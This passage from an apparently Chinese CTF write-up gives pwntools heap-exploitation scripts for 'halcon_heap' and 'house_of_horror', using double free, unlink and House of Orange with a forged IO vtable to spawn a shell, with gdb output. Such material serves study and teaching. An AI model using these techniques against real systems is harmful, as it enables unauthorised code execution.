p.sendline(str(idx))
'''
b *0x8048A8C
b *0x8048B5B
b *0x8048BED
'''
# leak heap
p.recvline("Input your name:")
p.send("A"*0x40)
p.recvuntil("Hey "+"A"*0x40)
heap_base = u32(p.recv(0x4))-0x8
log.info("heap_base: "+hex(heap_base))
# overwrite topchunk
p.recvuntil("Org:\n")
p.send("A"*0x40)
p.recvuntil("Host:\n")
p.sendline(p32(0xffffffff))
# leak libc
off_size = note_len_array - (heap_base + 0xd8 + 0xc) - (2 * 0x4)
#pause()
new(off_size, "")
payload = p32(0x4)*2
payload += p8(0)*(0x80-len(payload))
payload += p32(free_got)
payload += p32(atoi_got)
new(int("0xb0", 0x10), payload)
edit(0, p32(puts_plt)) # free->puts
delete(1)# puts atoi's addr and set the prt_1 = 0
p.recvuntil("Input the id:\n")
libc_base = u32(p.recv(4))-atoi_off
log.info("libc_base: "+hex(libc_base))
# write system
system_addr = libc_base+system_off
edit(0, p32(system_addr)) # free_got -> system
pause()
new(8, "/bin/sh")
delete(1) # ptr_1's content = "/bin/sh"
p.interactive()
halycon heap
这道题漏洞主要是double free 泄露libc做了一个简单的堆排布,伪造了个堆头来free得到libc,再show出来,主要是通过覆盖低位fd来实现任意地址分配,分配在与1号堆块头前0x10大小的地方,然后再free掉1,得到libc在7号堆块,再show出来,有了libc之后,我们就double free覆盖malloc_hook来getshell就行了
详细脚本如下:
from pwn import *
#context.log_level = 'debug'
p = process("./halcon_heap")
elf = ELF("./halcon_heap")
libc = ELF("./libc.so.6")
def add(size, cont):
p.recvuntil(">")
p.sendline(str(1))
p.sendlineafter("Enter the size of your deet:", str(size))
p.sendafter("Enter your deet:", cont)
def show(index):
p.recvuntil(">")
p.sendline(str(2))
p.recvuntil("Which deet would you like to view?")
p.recv()
p.sendline(str(index))
def delete(index):
p.recvuntil(">")
p.sendline(str(3))
p.sendlineafter("Which deet would you like to brutally destroy off the face of the earth?", str(index))
add(0x20, 'a'*16 + p64(0)+p64(0x31)) #0
add(0x20, 'bbbbb') #1
add(0x40, 'ccccc') #2
add(0x60, (p64(0)+p64(0x21)+p64(0)*2)*2) #3
delete(0)
delete(1)
show(1)
heap_addr = u64(p.recv(8))
print hex(heap_addr)
pause()
delete(0)
add(0x20, '\x20') #4 - 0 # overlap with 7
add(0x20, 'ddddd') #5 - 1
add(0x20, 'eeeee') #6 - 0
add(0x20, p64(0)+p64(0x91)) #7 (0~1)
delete(1)
show(7)
p.recv(24)
libc_base = u64(p.recv(8)) - 88 -0x3c4b20
print hex(libc_base)
#print hex(libc.symbols['main_arena'])
malloc_hook = libc.symbols['__malloc_hook'] + libc_base
add(0x60, 'f'*8) #8
add(0x60, 'f'*8) #9
add(0x60, 'f'*8) #10
delete(8)
delete(9)
delete(8)
gad1 = 0x45216
gad2 = 0x4526a
gad3 = 0xf02a4
gad4 = 0xf1147
add(0x60, p64(malloc_hook-0x23)) #9
add(0x60, 'p') #11
add(0x60, 'p') #12
add(0x60, 'a'*(0x23-16)+p64(gad4+libc_base))
p.recvuntil(">")
p.sendline(str(1))
p.sendlineafter("Enter the size of your deet:", str(0x60))
p.interactive()
house_of_horror
分配一个大块覆盖原来的两个块,然后在里面构造unlink,进而控制bss_list,泄露heap和libc,然后利用house of orage来getshell 修改_IO_list_all,然后在堆上伪造IO结构体和vtable,写__overflow 为system地址,然后abort之后就getshell了 调用顺序:(malloc_printerr->__libc_message->)abort->fflush(_IO_flush_all_lockp)->vtable->_IO_OVERFLOW(hijack->system) 关于调用system时参数的地址:
并且在 xsputn 等 vtable 函数进行调用时,传入的第一个参数其实是对应的_IO_FILE_plus 地址。比如这例子调用 printf,传递给 vtable 的第一个参数就是_IO_2_1_stdout_的地址。
上面是CTFWIKI的解释,既然传入的是_IO_2_1_stdout_的地址,这个是调用printf时候的参数取值,当出现abort的时候调用的应该是_IO_2_1_stderr_的地址。
gdb-peda$ p *(struct _IO_FILE_plus *)0x000000000211d020
$11 = {
file = {
_flags = 0x6e69622f,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0x0,
_flags2 = 0x0,
_old_offset = 0x0,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x0,
_offset = 0x0,
_codecvt = 0x0,
_wide_data = 0x0,
_freeres_list = 0x211d0d0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = "\000\000\000\000\220\343#o\213\177\000\000\220\343#o\213\177\000"
},
vtable = 0x211d0e8
}
gdb-peda$ p *((struct _IO_FILE_plus *)0x000000000211d020).vtable
$10 = {
__dummy = 0x7f8b6f23e390,
__dummy2 = 0x7f8b6f23e390,
__finish = 0x211d0e8,
__overflow = 0x7f8b6f23e390 <__libc_system>,
__underflow = 0x101,
__uflow = 0x1e,
__pbackfail = 0x0,
__xsputn = 0x0,
__xsgetn = 0x0,
__seekoff = 0x0,
__seekpos = 0x0,
__setbuf = 0x0,
__sync = 0x0,
__doallocate = 0x0,
__read = 0x0,
__write = 0x0,
__seek = 0x0,
__close = 0x0,
__stat = 0x0,
__showmanyc = 0x0,
__imbue = 0x0
}
详细脚本如下:
from pwn import *
#context.log_level = 'debug'
p = process("./house_of_horror")
elf = ELF("./house_of_horror")
libc = ELF("./libc.so.6")
def add(size):
p.sendlineafter('> ', '1')
p.sendlineafter('Enter the size of your array:', str(size))
# p.sendafter("What are the contents of this dream?", s)
def edit(arr_index, ele_index, data):
p.sendlineafter('>', "3")
p.sendlineafter("Which array would you like to edit?", str(arr_index))
p.sendlineafter("Which element would you like to edit?", str(ele_index))
p.sendlineafter("What would you like to set this element to?", str(data))
def free(index):
p.sendlineafter('>', "4")
p.sendlineafter("Which array would you like to view?", str(index))
def show(arr_index, ele_index):
p.sendlineafter('>', "2")
p.sendlineafter("Which array would you like to view?", str(arr_index))
p.recvuntil("Which element would you like to view?")
p.recv()
p.sendline(str(ele_index))
add(30)#0
add(30)#1
add(30)#2
bss=0x602060+0x18
f=bss-0x18
b=bss-0x10
# 1.fd = ptr - 0x18
# 2.bk = ptr - 0x10
# unlink
# ptr -> ptr - 0x18
# ptr = 0x602060
add(0x100/8-1)#3
add(0x100/8-1)#4
add(0x80/8-1)#5
free(3)
free(4)
add((0x210)/8-1)#6
# 3+4->6
#pause()
edit(6, 0, 0x101)
edit(6, 1, f)
edit(6, 2, b)
edit(6, 31, 0x100)
edit(6, 32, 0x90)
edit(6, 49, 0)
edit(6, 50, 0x21)
edit(6, 53, 0)
edit(6, 54, 0x21)
# unlink
free(4)
# from 1
show(3, 0)
heap_addr = int(p.recvuntil('Done', drop=True)) - 0x58
print "[+] heap_addr = " + str(hex(heap_addr))
edit(3, 0, elf.got['puts']-8)
show(1, 0)
puts_addr = int(p.recvuntil('Done', drop=True))
print "[+] puts_addr = " + str(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system'] +libc_base
binsh_addr = next(libc.search("/bin/sh")) + libc_base
print hex(binsh_addr)
#edit(3, 0, elf.got['free']-24)
#stdout = libc.symbols['_IO_2_1_stdout_']+libc_base
vtable = libc.symbols['_IO_list_all'] + libc_base
edit(3, 0, vtable-8-8*6)
edit(1, 6, heap_addr-0x90-0x8)# fake_vtable in heap
edit(0, 1, u64('$0\x00\x00\x00\x00\x00\x00'))#u64('/bin/sh\x00'))
edit(0, 2, 0)
edit(0, 3, 0)
edit(0, 4, 0)
edit(0, 5, 0)
edit(0, 6, 1)
for i in range(7, 22):
edit(0, i, 0)
edit(0, 22, heap_addr+0x20-0x8)
for i in range(23, 23+3):
edit(0, i, 0)
pause()
# edit(0, 25, system_addr)
edit(0, 26, system_addr)
edit(0, 27, system_addr)
edit(0, 28, heap_addr+0x20-0x8+24)
edit(0, 29, system_addr)
p.sendline('6')
p.interactive()